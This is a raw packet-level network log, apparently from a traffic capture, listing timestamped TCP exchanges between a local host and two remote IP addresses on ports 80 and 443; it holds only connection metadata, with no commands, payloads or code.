Dec 17, 2024 08:03:27.896764994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.896780014 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.896794081 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.896819115 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.896819115 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.896847010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.897397041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.897413015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.897444963 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.897459030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.897483110 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.897497892 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.897511959 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.897521973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.897543907 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.897556067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.897578001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.897588015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.897602081 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.897612095 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.897624969 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.897636890 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.897649050 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.897660017 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.897675037 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.897684097 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.897696972 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.897706032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.897720098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.897728920 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.897742033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.897753000 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.897767067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.897775888 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.897802114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.898569107 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.898583889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.898597956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.898610115 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.898619890 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.898633957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.898641109 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.898653984 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.898663998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.898678064 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.898686886 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.898699999 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.898710012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.898724079 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.898739100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.898749113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.898762941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.898772955 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.898782015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.898796082 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.898813963 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.898821115 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.898844957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.898855925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.898855925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.898870945 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.898885012 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.898916006 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.899404049 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.899420977 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.899435043 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.899451017 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.899461031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.899473906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.899485111 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.899497032 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.899507046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.899521112 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.899532080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.899554014 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.899833918 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.899851084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.899863958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.899874926 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.899887085 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.899904013 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.899945021 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.899960041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.899976015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.899991989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.900007963 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.900023937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.900039911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.900054932 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.900080919 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.900103092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.900717974 CET	49873	443	192.168.2.5	104.131.68.180
Dec 17, 2024 08:03:27.900749922 CET	443	49873	104.131.68.180	192.168.2.5
Dec 17, 2024 08:03:27.900820971 CET	49873	443	192.168.2.5	104.131.68.180
Dec 17, 2024 08:03:27.901141882 CET	49873	443	192.168.2.5	104.131.68.180
Dec 17, 2024 08:03:27.901160955 CET	443	49873	104.131.68.180	192.168.2.5
Dec 17, 2024 08:03:28.012187004 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.012279987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.012424946 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.012552023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.012862921 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.012885094 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.012903929 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.013917923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.013988972 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.014041901 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.014095068 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.015399933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.015526056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.015587091 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.016784906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.017095089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.017163038 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.017900944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.017972946 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.067893982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.067992926 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.068027020 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.068169117 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.068253994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.068308115 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.068392992 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.068449974 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.069108009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.069164038 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.069221020 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.069272041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.070033073 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.070090055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.070404053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.070439100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.070462942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.070494890 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.071285963 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.071352959 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.071407080 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.071456909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.072119951 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.072179079 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.072232962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.072282076 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.073122025 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.073177099 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.073236942 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.073286057 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.074078083 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.074131012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.074847937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.074914932 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.075176954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.075232029 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.075300932 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.075351000 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.075860977 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.075896025 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.075917006 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.075939894 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.076817989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.076852083 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.076873064 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.076920033 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.077725887 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.077759981 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.077780962 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.077805996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.078536034 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.078594923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.078655958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.078704119 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.079575062 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.079607964 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.079628944 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.079657078 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.080398083 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.080451965 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.080514908 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.080564022 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.081322908 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.081374884 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.081444025 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.081504107 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.082305908 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.082339048 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.082360029 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.082386971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.083237886 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.083271980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.083292961 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.083333969 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.084065914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.084120035 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.084227085 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.084280014 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.085000992 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.085058928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.085160971 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.085213900 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.085959911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.085994005 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.086015940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.086039066 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.086858988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.086908102 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.086931944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.086978912 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.087802887 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.087837934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.087858915 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.087881088 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.088697910 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.088748932 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.088771105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.088819027 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.089709997 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.089744091 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.089764118 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.089788914 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.090496063 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.090579987 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.090605021 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.090653896 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.091382980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.091437101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.091531038 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.091583014 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.092302084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.092355967 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.092452049 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.092499018 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.093209028 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.093257904 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.093302965 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.093350887 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.094181061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.094249964 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.094315052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.094363928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.095010996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.095065117 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.095139980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.095192909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.096061945 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.096096039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.096117020 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.096138954 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.096868038 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.096930981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.096999884 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.097053051 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.097836018 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.097889900 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.097943068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.097991943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.098720074 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.098774910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.098829031 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.098875999 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.099592924 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.099647999 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.099759102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.099813938 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.100637913 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.100671053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.100692034 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.100714922 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.101460934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.101516008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.101603031 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.101655960 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.102380991 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.102432966 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.102499962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.102550983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.103300095 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.103349924 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.103401899 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.103452921 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.104428053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.104477882 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.104573011 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.104625940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.105104923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.105158091 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.105192900 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.105241060 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.106070042 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.106148005 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.106194019 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.106966019 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.107017040 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.107059956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.107108116 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.107886076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.107939005 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.108036995 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.108088970 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.108843088 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.108896017 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.108951092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.109795094 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.109829903 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.109850883 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.109870911 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.110697985 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.110732079 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.110750914 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.110770941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.111628056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.111660957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.111681938 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.111715078 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.112453938 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.112505913 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.112555981 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.112606049 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.113415003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.113461971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.113488913 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.113538027 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.114286900 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.114339113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.114394903 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.114442110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.115274906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.115309000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.115340948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.115360975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.259799957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.259902000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.259932041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.259962082 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.260113001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.260168076 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.260297060 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.260345936 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.260436058 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.260490894 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.261228085 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.261280060 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.261392117 CET	80	49867	31.41.244.11	192.168.2.5
